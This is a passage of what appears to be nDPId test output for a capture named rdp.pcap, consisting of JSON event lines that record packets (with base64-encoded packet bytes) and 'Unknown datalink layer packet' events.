WB6qMqJEcfdojLkiJomyPyjSrnY3smQE7XWeaRwmwO3OPMwEZxiAqHIIA\/dATIaTkLud0G6DcTYk0Y1MrN5hnLwS4UULFxCBRuX2rizccOR34YELa5Vx8uAJHJcEvCSe2XATZpXMhVeE76HmiC3X820ixaC3Rn8drre06ZiTUkJUrlUJtPpWoNZ91dxzxOkFedQOxBsBQHC7YuiGBKXI6ooV0GZuKw5qEgvdBNLqZZklm\/DqWRrZ8OX02CFFNKPGIceWSee\/v26ZsuinrMgw+KFDdsEo6U8V7YpInbi1W8Tg+1cmKQ9a0ZuhvPbCLNT35pJOCG10ttDfLoqw+cUkniyV2SlboVAXYIv7fJd1KBDRsEXdOTLtsK7zFjV48cSxUDe0TNF99zCPHMmHzO04vjN3Jwk+6\/FVhpdne34TTT8wGdpXbs7cOaOYaRyu6BLQiWpcfeQx7Mg2+6Ea4aBhVdpq+UUnmORim\/Sj9S9QN\/FvyDpZiIsyzqDhMTyRKGonzqDs2U3uug4T5sLhGiYXqB6o68abCaR\/jx1PC3PU0mGbnr10szBlE+7BSmC2lyOOfU4vAE7SxFgisT71ZPSLl8+Epp6vPlUMA5tUo1SF4lo6f4GIwd39ED5A56xuVLX8+R12QMFB6FT4\/coz56\/3xl4PNzhjKsKPAWCnqddWmi0WaqsRZNOIRVjgCCShcLYeBhL60VK8g9H3huraUjS1jGD2cn\/Ny9hHg9Vlw2ZVeFntBmsm9Jo5Fljt8WOFNgaY92M578FRcFdDK9\/s+2BDEaPkFleIU5Pl\/AabACXAmVnPNL+w\/r2Ci3T3oc\/ByTJh0aZNWdDmekdP4M+yPxuUTM\/QUNUhZPQbQ0FqW9p7yGJBVGFl\/\/3SZoLxfxstwllveBvFxrlFz+BQRbgiM0rBqhw\/wd6Q5aNwIrQ6hlC0bfYAUe5o691ejzNPgmoQeqkDTEN9xb79VOgsOvdZXzkhqGuPNXGtrQN9D+jSk5R1MPN41uFV0tNDNAdDqGIxRk7xldXTwcUUCYCLc4kaiLGppDsw52usOzecpmBTjmZG82FH\/Ri9aGnoMqLvJNOkyTzcWrldCEBpcCblVEVxduYklw\/x0Bc9N1rVCwmf1qrK3r8SOwEgOnYhK7nrFb24qHZVZstQlA0xIgbHk0rxaK5eTbd4kgY7s+OLenjQENUkLWy8ghU\/2Q+xAi6qzT7fglSx\/Nu5JWh7VahPEEqIKaxghA7DOCnKkDwS\/h62JQY0+k6hr02bpnEHAjS45YLefe\/MRWdh7cJ9WYv+U8v5FiE19socKjkqpPwc8aLX35O6CaucSam"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":930,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":931,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":19240,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9ENhHnQOdUBggAG6EAAAXAwMAMOAIO32NJwvuLel\/L8DpXQAx4U97zEvvGjrSRKaXw4DI1htTCbEJbL82Hfl55GBE6A=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":931,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":932,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":19418,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhWEAAfwYm\/cCoAo6sEAK5DT3NDkedA535vQ96UBj4nt9wAAAC05+Lljtx38nKPnPJ64DazHlrjtOEhpxrEQwOKgBE5bOrhWrVLNF41b7+ncXgM8L0iQZAjeXZfmeNn6\/BXWBL\/ruiu4jeOn4qCP++TbTpOo07WKga8lxbSJE0UxBFPtWHkEJiqPxW19KrsyjmqoGcE3Q51Rr+9qM15+t2Ajlts6KBzzYMWMA0CtW7jEUiKGuLlI5oA7BqrAGgFAYWy9gVylPkfVYrOhWmxAT4kF7Yo7ujipvAmUzTbU8rKQEz6SwzsIajiLZ63o\/ir2gIFVW9DV5s5I92V9a6mNvCkhy1D6ZbmIhjUi0KMXsUVPfCbK50jhXuZIs+h6EKhohRgDprvnsbbbxdegmic029v7PmlUPPO3bS4PWJcL64lFCHpJndTT781QR\/B\/vvEb1T6hGRQjVFxCX5XBtM3EfWhEqFnxNF6tUtlFELky9ZnvjLBIehDf8SlTram\/RVzFK6Uo+Pll+OqEBE\/ffPsDBnEUcdsfoJ\/nXU3FIxPsLH"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":932,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":933,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":19454,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EQ1HnQUYUBAf9OwUAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":933,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":934,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":23754,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhWUAAfwYjfsCoAo6sEAK5DT3NDkedBRj5vQ96UBD4nqaPAAAXAwMGbwAAAAAAAAEoaLZb9nMWIwm\/\/vlbE83ZX6x7yFy5Q4X8nbutd3p2iYrVmiFU73wc0IAW8WdftUf4sgQKQ8Gnz6T0oL9BwhbaDPHKNcajkUqi1yXtdNNxbKE5MgETtjuzz7znz7BSw9iOkhi\/DwJhw5JKnjmlPhfdGXVNeUS9oclIAukd0\/eb2aOqgzFmo2ZvgYSh09bNUz179zbCR2QrOHlx1TxbV3goDuxbrROcNk2\/6I3RCV0hd7Nf5PCAgJvbt+6wyQB9s1MsVxzCmhnQkDklQJJv8D33cjw+WakPND0J4SfR338SKbB5G1Xx\/5ZO7U3p59GazdrIv+mxQneHt8PDG+gMO4PS3FSBC55NManAD8dfroYCeLD+4xC85MJK2OTlCjF40oHzwjTThfj490XsYF4RymQUN7mV0LsgZiRiy6tznHY4RCVTQU\/vPn1xm9vibWhuzVm0Cvm+l1IKrZDcBNfQwu4+y0D6GnLRgULj5Emd0tYzb6WgTsRZABC+AgQsfqUOt8sZdM69OXj\/kp+67ejDUj94PtYYhWLiF8vYWu97WxSj3Xah06Y0ClT+hS7nrAd\/uPRWVGsvGLy2HDcPJ7tkQ8YoGpbD82qNJLn+Y7JKKg9Vmu1D7MWjmoepWTJ0Br7noyG+8Nq6bxc7T1bFMWjvRDvqtW9FslAALWy9KYjmPxNJa0M8tnpAF1PcIMeC5mGcpV4utqCuSHix\/Bv3v+uHIn8iSz9T1W9onHMhrIw5rN4TAAlRNEZd9o0uhzPZmCITpzIiYGvRWvBG0cONr2mB38pr2JpYo+RsSphCNMtV18jPzArQshiu+N8W5he0WLAgrB6hYlhBqLK23uD2\/zoi4hlIT9uIpeKa\/NE6EbzWcdTh1zuhZ1l2zXCAtkF85MRGIacA792Kzv71wvBwRWPmQPoUuv6d+RUWY2naHL7teyF\/IKlUDAOjrD8GucGp789SVQuw4xz6cWvD3LiSB5bhowX22tb+deLS8xkNgifqqI1RfFoCjQLy1Q\/Jdw\/4ExDaHjI8XS8Zvp4SEE5Y32g8saarHMZ1hfP6P0XhdHalkq7QdE+T9+g8Yh3lluxyrrNUYn7cBlp8q52sReN4qLLQKERCiMFJWeN6keYmC9PuyiiKqhgIf\/FhDU5mAgHAFsGIrMG7+\/ykXAGowUkxnhAMEO9O37u1DiO3DIluVgvPGgy9heStWtRefUpRF7xa06p0NbkP4M1uGFgqOL5R6JW0LfyBB76JDvjiEjGl9zqDwMZQ+IGU\/edKA\/VzSfWYQCzElLK1o8DJgikBAJEf0ZmtUIQRxh3M1TaeEHlksV8Q9\/RddoHmzHLnTYY5MAypH4ydugCIWd2aMrwZLz7NzctotB824KlDSbrLf1hP2\/ocvDvszx0Eds5F3Wt+4FJS4\/2MUdVdU\/BCpScOh8iiNWY\/15cADSTdnSGeyVr5wk3TbCTefHher7OsR01uNk\/da3qJXjnWAJuyvBN\/NVsxyi3PnqDlM1xkM+qx+B9msACHQVXn3ddJK6uLyvoaCZ4A9PQhBY5eMoB8DGu56m4Iv+1h\/CEWdLeR3Ki7TLF9elLoUjqMXk0aO\/0u88VzaOHbRzPCWJmNg8e1cB6hTDhquF6ThzJGA1hdEe7Skdvd2\/5YFBxKnjaxPKMJ658jRRDKTtqlcMb\/ZRmX9tUV6OP2cXdn"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":934,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":935,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":23794,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhWkAAfwYm+8CoAo6sEAK5DT3NDkedChH5vQ96UBj4nkWSAABMo2kw5ve9eKm182FzmwEgrqdzrZnTeVsIwrgnVgDbcJnsQRfKJtinUShpnTY9vRLq8Zfqn1D+rVdB83WHjxQK4LKgmMI44SaEIRzuiA6zurb07HQUBSezwKzH80AO1Bk+v\/oRxwHPOOY6gcseC3VwQVrrT42qjGdteOQNbTqEzTmWhTj12Mzv+hyNjVVy\/N8m7hFjRA8DgY25HftMoD9E\/AMfD15Bi+oPVhC3aFKwb10uw+d0JfzkxeEFouRAOSOBL9zFBwXikjpGeHl7\/zl72LDQMudPBw08LQOjxLqhcJJLq1NS71Yfh\/UABlSXbpHQQDPwgcVkiFx0rJKkPAvDhhHZ7zBrpfQ5nLdlKiHCUtAyOSdkNWDTytHEY5gnUU7pgHpuhNqG9EQnsu6UsxLFvSlZexgySAqwjWgY8Ds7iwr\/k0VegmGSEOVtsph84XldEXcbzwjbWR4PBfhi0bZjHITeVZyoub5sXfDm\/+LuiNgdtoEpuZRquTHH"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":935,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":936,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":23834,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hW0AAfwYoQMCoAo6sEAK5DT3NDkedC4z5vQ96UBj4nggOAAAXAwMAMAAAAAAAAAEpvjTyVKVgcI++tsPqkoffZ3Rcg1rZV\/VRu+CPWW4DpWtWsHfdsH\/acA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":936,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":937,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":23835,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EQ1HnQuMUBAfzOXIAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":937,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":938,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":24910,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EQ1HnQvBUBAf\/uVhAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":938,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":939,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":24997,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EQ1HnQvBUBggAJQkAAAXAwMAOOAIO32NJwvvbq2JTwDXCKaA\/fMqsj4SGLImxZ128Aw2LpQDDKwzVMHS\/eF3q+RQVSuKUDcrQX82"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":939,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":940,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":39340,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hXEAAfwYoP8CoAo6sEAK5DT3NDkedC8H5vQ+3UBj4YfutAAAXAwMAMAAAAAAAAAEqqt7b7VN+p26oL48gdHIioEe1tglHeCQ9\/bRpg8iT+iZpegYX\/oETBw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":940,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02067{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":941,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":39399,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhXUAAfwYjesCoAo6sEAK5DT3NDkedC\/b5vQ+3UBD4YXZhAAAXAwMGbwAAAAAAAAErYyk7iBm+fDnpwKMVq9Mlayq8ddGCyYPfj+JMTntBQvbFwoYh9Y8oO4UQU4mHcF2mNPU762e8Cc173zW1o2wY5eDHeYabucWfNq9pYrrmJzL2BlEuPt82rpUfTFZWJ2YNfjCsziZzOt410vZl0NNZetDslD5BJxLD86JRtmNPVmStdVgTgcFmMDayKdgeC3IDnXOl0UYq1Dr2QE9iK\/wxeYZjwMTBmKdU2CT4VIBbmebuNfsHTpQXJy5wN9AYHrOrcUvmKSC4c24tePP4KrK2j1NXapJ9hmTc\/PwHXF1o7Eo2ZeZmogvJ8GNo4RPZHkTGGPjBecnH\/45g5ZfACTnz3y7YCzx5UhKbGESN4yI9LKCLx8L2hC8y2cGp9Jla2ngHqDEBzi1tBFwOeWQ+oOXorG264G6RNOp25WgDkXk3FnEf81QsHosjL5d+yX3OVx8Q15dr5ob3XvhIx4rl2TLUhBIIfbUbLO6OtQS8+pOGoS\/bisKxj42dNIRdAOctONSR5wr6e2hBO10LcNN9UsRJlerbZ4AgOBKixQgVYiPbfRLPHfnP44yC\/F6iIiPhMx0SSUXsWj8eoW80eFMqgRnfhUh1MAVOwllw8pvgZUf\/c6hzmLfiiKUY328Ricq7qARAOoHIhZxdR7B57Zy6tRpo9u5kk+g2IpBKlsJ2JbxWVHZZ8pv14IDRfdbQlPLWSjrpC1+hb+9d2vFtIG8ON4+K505dOUi6ywSwY1Zx6JTs1FxKH+j1+XzUtF5cX9LKr4+RlTz3PyC6hMyGFnHqr+1idOu5OOARCSsu6Ps2BTwL7vtcEPt79ZGBiAn0tmyBO9haDFqdTAXKnhuUTn9nDgJwfU2MnEKd2TueiZvEpWeZK5wJOg+46I3HQFwgXMhLAbGTvfyUdu2014YNzXMXy4Cn\/6jDfqNkx2SBiimopffvP8995t4+zSfRV2FrDxx31fbCa4JFs6r5BsjF2TW2PwSlnLIU9a7orG3z4OZfs6CnYTHitN\/WBdX4f1KMbrq1xko\/QvmWSrGwIz1W+aZDAGdKJI1q3sGts0imldMj8ar+QN5acSb6jqTKWc+S0HnXM\/YDDhx35V6Y2tvt63JD23Z4+K84eDdrfeq+1py1cTd+TJyc6qj3IBkXtXIM3TlvH7cIHaeGbyqf2Z2ps4sXQhdU5Uy13Y9VHU3Fqv011UrzKBMASKyTvSIuqk\/TJcAoCTBA1HunxmYEaiJ4sdi7RASufZMEorE6Jmjy\/nYIb0mpZDm39aJqFRhYGle5BGogbnzh2dfTQwVYQrTd1LNcKPaL6mhaOyoZGioV74yFJzp3E6tEDjQIIhzHGJjygNDEdbjlLjJWiLLJEu5NmMghBClddHvTd0l+FTt3WhKIMos2p\/14LWVhv7qAxtod8rIUT7DaWZxPmN8bxH694LdIHz6APDjrHw\/DwZ6XSQoC2PBEKCkGevnmzK4Sf9ZewyMOoLb+BxlJoEEMD+KtROmY73sVOmxTef2LNMIdyTxJIRxS1DitWwvcZxFVxZ8+PIUYsCcT5lXz3GCwmevGzlcmyPAs5NxfQhPrAR65nWYHUs1IAYoZ\/4\/KzdpURYkykXaYOZMiMy6FqSNTR0v3UxKdQkmPdm\/lsqOvWOxDoGVoufjESlfPTrWIEPI8Bj+czWX+Tt5c+XC+uonsN2FIWdfH"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":941,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":942,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":39450,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EUpHnQv2UBAf\/uTvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":942,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":943,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":39726,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhXkAAfwYm98CoAo6sEAK5DT3NDkedEO\/5vQ+3UBj4YXtTAAATrQAXn5lfiqS0YdbHzF5ZZ8C1qZbzGktEJeD1wfJHkwz7bhfQ0qp4RcQhLJppp5kZlakUZKGpgwsA3QeZQhH1dmCU+aAOmMVrvnbEhTqCEgNkxwIp+VcCgPfubwL0hLOrLuR3irWnFzQBW7q507WO6YOnlsTgzHey\/ZfStmo4Y4S8jKng5TeAHUzvS4vvrKlStN5lerPalcW3zgopDbftu8fqJrwjdg95YnJ9XBgccmTyx0eqqeNQIRdQNoG2O5jyjOxiocjeh+1F9oVLmn3rR1Ti\/XNcG+0ayKvfCtw01heb+cjA\/cYNMkwWhx7IRPUoSOOK1z6YXjMobkkVlgpPVOMibnQ3YQnxUBElh\/ulIjY0tBUrA5SO3sSFdgbcQ9s4NbYMCdEyNqDY+JtCo0ylB2Zb5qpJx6W9d6rxstdORxr0MH4BKE91VNqrNR77hYefyhnGRcS2EEvBgZKQPW\/RXVxWi5bhTVS03YIfHLSTE\/NLbCtCE\/N0yiHZ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":943,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":944,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":43809,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EUpHnRJqUBAf9N6FAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":944,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02085{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":945,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44472,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhX0AAfwYjeMCoAo6sEAK5DT3NDkedEmr5vQ+3UBD4YRB3AAAXAwMGbwAAAAAAAAEsUYe3vn3YA3Kt7ZKJmCzQ4bAX894TesMd2P6VjUf79DL1VXCH5EWQuNFz2YFmP06EdhboUaxXtRVv8oS9LUD2hpX9OSf2zKWz\/6+hVOz9y\/nXH0DmpFeMqHZHgrQx4N4\/DddG0PY6A9V21CrcsFJZOKGlPBD44\/kqvDWBUhyN8fR3l5ae9WlrCyWT7CxFfKSNFLq4VuCFZoP3\/gWw9UqQBrLG8Hy+BFbmCp4VCV35Pe81UtTiZteKG7T6tI9dKABj45W1RpKasMQRilpJEgDN\/iPu4CI6mif45bdTOsuLvX7tyF\/bFkQbLSSO8txVQOi0cg2Um7YnFtzuJO2zgNcsN7\/ZXVy\/SmYXHBFRZfPrHpRjXxmdQGEJpD32IxW9wHm1\/3vz6GfeqHKdb2tHwEdAAFiNNtEKfSsCBIXUp9e4hjOYGdfqspkOy2Y9OXICSqK9iHzVI6Zvil\/H+OH4nScqP621tPJv\/\/U8pRYu9LJdmz9z+bQgl1pa5nMEU2Cf8x1e6IQOBMs7IOP+PAbJFpgJjaTlpy6hYs+\/nQHtcZnE0l9kzhn\/+hD+eP5AgfAiTw9tOT9jOp5pAE6xhUFFfo\/fRdNkUeUNlOwZpIfGgYu8y6zQ3K+8xtA8mIuCrwQH6BLB1cUhmQjpTXTOskT\/slx+eK+S0phwRlBw4ICirTZNqMKC\/5zsxXuZX3mw2lfKdffeAwl1daJR7Z6uOpP6bz\/AQBvd6xpINZild5GfE0eqn0quCAFYx+F41TloBujEOhAUIP4RDiryscjI7FP9bLb0ZkUO3z+fZErYK5EQjMVofq4Xy91XbjRO\/+Wmh64yiUXz0YLULkCBT784CPJk+aQD4sBvc7mFPVROmz\/p6FX2gFiv0vCkStoXz94y0YJl8ADybtXidigGU\/aSiLDKBZ6CLEHec1P686EhqxEWYUhhkz3f7SBEPjDOenNKZI\/BJ8FhRMxW1sIwru41F6myzYo5hTJw10hgCYITCfoxl\/i2Dd5PSUq901pgqSbvVhCqoK6XkKSazNO19YectrIxr+IL5GUSIpx6hmqil9r7HBwipdktfktfvUJEdD4X8BGVgCSVsarqzUb3va\/gGRp8S2HDSq2pJSLNUxkbtv20AhLbK5lUKlAuP6bCKm3sathRm18g1o2E\/RVP0HoF5IlZpBfTCrefCU7J2YPh6oM425POQO2is25jDP7LDCHmTcAlAJJqMoi6\/jHLxOh7UJDslxP3RBF5h2GL4tlXGgon+0Q8\/DO3NQFTGgufIJU3Bmv3ygxRZX2+uYl0U\/8N6TljueH7N3UhLQ7dwtmZvfoQ9A+gLb3a1Vhsm8WckyVmfEm0orHaMXwCwQSndjoJuUEcOR0aJTpFwfPJLBWMLrzcDKUWDvYZtVJdmP+YNRd\/GHfHKB75WxEHrJAOZ007y86fZG9XsFQEwcFTvnPx1nab0+rH97vBVGSE3wQ0SICLQk8Rf\/LXRoeL079orKaVZKNkpp4BPgtMsgSxcbeHY+qLvN2dbDAFxP\/EumppBU\/d1\/oDPW8SqEovHCXwpHnXQH8TxNPdLZE5pVlol6qQ+AjX4gUqI0FbazX7aQvdGzij0JzQVJY6O8vX8d+gzAtBVGc3F7VJB\/XDsD03fI0dgDf9IOYfAbzaa9zI0Kf+ASWWy0TolJYH9OxMmnlHl4U\/9PY+"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":945,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":946,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44522,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhYEAAfwYm9cCoAo6sEAK5DT3NDkedF2P5vQ+3UBj4YZyaAADRs\/GAoHLjnOe3XOTwyj+X45QT+9dlDnfVGlxsa8SgSqx4XcxiFoeARYFOw3HzvN8UaybQYy9U639iOSTxH8IytVVwMrH4cQbWes4VUWcJLV2KwqwdvuMpPA4XFO915PVfRfyer3UrEjASu\/rgy+jWAQWlKqO57gnKGlPOrrFgttjfWwU3FelsxAdsQ4GIgoe6az1fuRjOhowFPLEtKgOacGttlaHb6FMlim7RNtLVVJWrZUw2QBRgp+nmJJ4Qp0WDTLDsY+1fVNQmSKWOqgBaAepq9EdKcaMR3v+tpkTIGuUhEyVCl0kWPVlXemxMkXkLu+WH6\/vbPujZIcUNilOn1EJJXqldYQTUKrEsvpIvRrb2mBNA4e21bqChCUUc3gYgpZFfN5zrW2a5FFCtGxHRPjSyZUc96+l0sfTzVT0Nvb17byh8tyNuOXydOGc4iv0IfX8fdaQ4t2bDYr7LQ1ZA+LFngq9CjO8h42dkdRupSKSpDD\/92hNSmWhN"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":946,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":947,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44564,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EUpHnRjeUBAfzNg5AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":947,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":948,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44671,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hYUAAfwYoOsCoAo6sEAK5DT3NDkedGN75vQ+3UBj4YbvgAAAXAwMAMAAAAAAAAAEt85IzRBtXFP9N1VvbFgaUPZxO78zNAUvqhcQhMFbzagZfEsLkAnY4SQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":948,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":949,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44714,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EUpHnRkTUBAf\/tfSAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":949,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 